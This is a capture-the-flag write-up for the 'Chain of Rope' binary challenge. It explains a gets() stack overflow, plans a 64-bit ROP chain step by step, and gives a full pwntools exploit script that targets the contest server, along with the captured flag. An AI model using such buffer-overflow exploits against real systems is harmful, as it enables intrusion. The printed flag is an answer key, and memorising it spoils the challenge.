Chain of Rope

Category: Binary
Points: 80
Description: defund found out about this cool new dark web browser! While he was browsing the dark web he came across this service that sells rope chains on the black market, but they’re super overpriced! He managed to get the source code. Can you get him a rope chain without paying?

Fun fact this was my first ROP chain I’ve ever done so learning over here 🙂

Same with aquarium this binary uses an unsafe gets() call which writes over an arbitrary amount of memory so we can overwrite the stack.

Anyway as the name suggests we need a rop chain to complete the exploit. Now we could just overwrite the RIP pointer to give us the flag() but we won’t pass any of the checks to get the flag printed.

So heres what we need to do:
Call authorize()
Call addBalance(pin=0xdeadbeef)
Call flag(pin=0xba5eba11, secret=0xbedabb1e)

So this is where our ropchain comes in. Again using gdb with a cyclic pattern to find out where the RSP overwrite comes into play we see that the offset is 56 bytes in.

Okay so here is my planning for the ROP chain:

56 bytes of junk
+
addr of authorize()
+
pop rdi ropgadget
+
pin argument = 0xdeadbeef
+
addr of addBalance()
+
pop rdi, rsi ropgadget
+
pin argument = 0xba5eba11
+
secret argument = 0xbedabb1e
+
addr of flag()

Since arguments are passed through registers in 64 bit binaries that is why we need the pop rdi and rsi addresses. We can find the addresses of these functions through gdb

info addr <function name>

We can also search for our ropgadget in gdb using

ropsearch "pop rdi"

And we will get a result!
So we can add that to our chain.

But a problem arose when I couldn’t find a pop rdi, rsi ropgadget to get both of the arguments on the stack.

So using ROPGadget on github to search for all rop gadgets I found

POP RSI
POP R15
RET

This was the only gadget that popped RSI. But also popped another random value. So I would just chain that with the original pop RDI ropgadget to get the correct argument call.

Our rop chain now becomes

56 bytes of junk
+
addr of authorize()
+
pop rdi ropgadget addr
+
pin argument = 0xdeadbeef
+
addr of addBalance()
+
pop rdi ropgadget addr
+
pin argument = 0xba5eba11
+
pop rsi, r15 addr
+
secret argument = 0xbedabb1e
+
junk 0xdeadbeef to pop into r15 from previous addr
+
addr of flag()

And that will print our flag. Putting this all together in pwntools we I got the following code:

from pwn import *

#p = process("./chain_of_rope") # test locally before connecting to server!
#p = gdb.debug('./chain_of_rope', 'b main')
p = remote("shell.actf.co", 19400)

context(os="linux", arch="amd64")

junk = "A"*56
authorise_add = p64(0x401196)
pop_rdi = p64(0x00401403)
pin_arg  = p64(0xdeadbeef)
add_bal_addr = p64(0x4011ab)
pop_rsi_pop_r15 = p64(0x0000000000401401)

pin_arg_2 = p64(0xba5eba11)
secret = p64(0xbedabb1e)
flag_addr = p64(0x4011eb)

# Rop chain
payload = junk + authorise_add + pop_rdi + pin_arg + add_bal_addr + pop_rdi + pin_arg_2 + pop_rsi_pop_r15 + secret + secret + flag_addr                                                                           

p.recvuntil("Grant access")
p.sendline("1")
p.sendline(payload)
p.interactive() #get flag

Running this grants us the flag 🙂

FLAG:

actf{dark_web_bargains}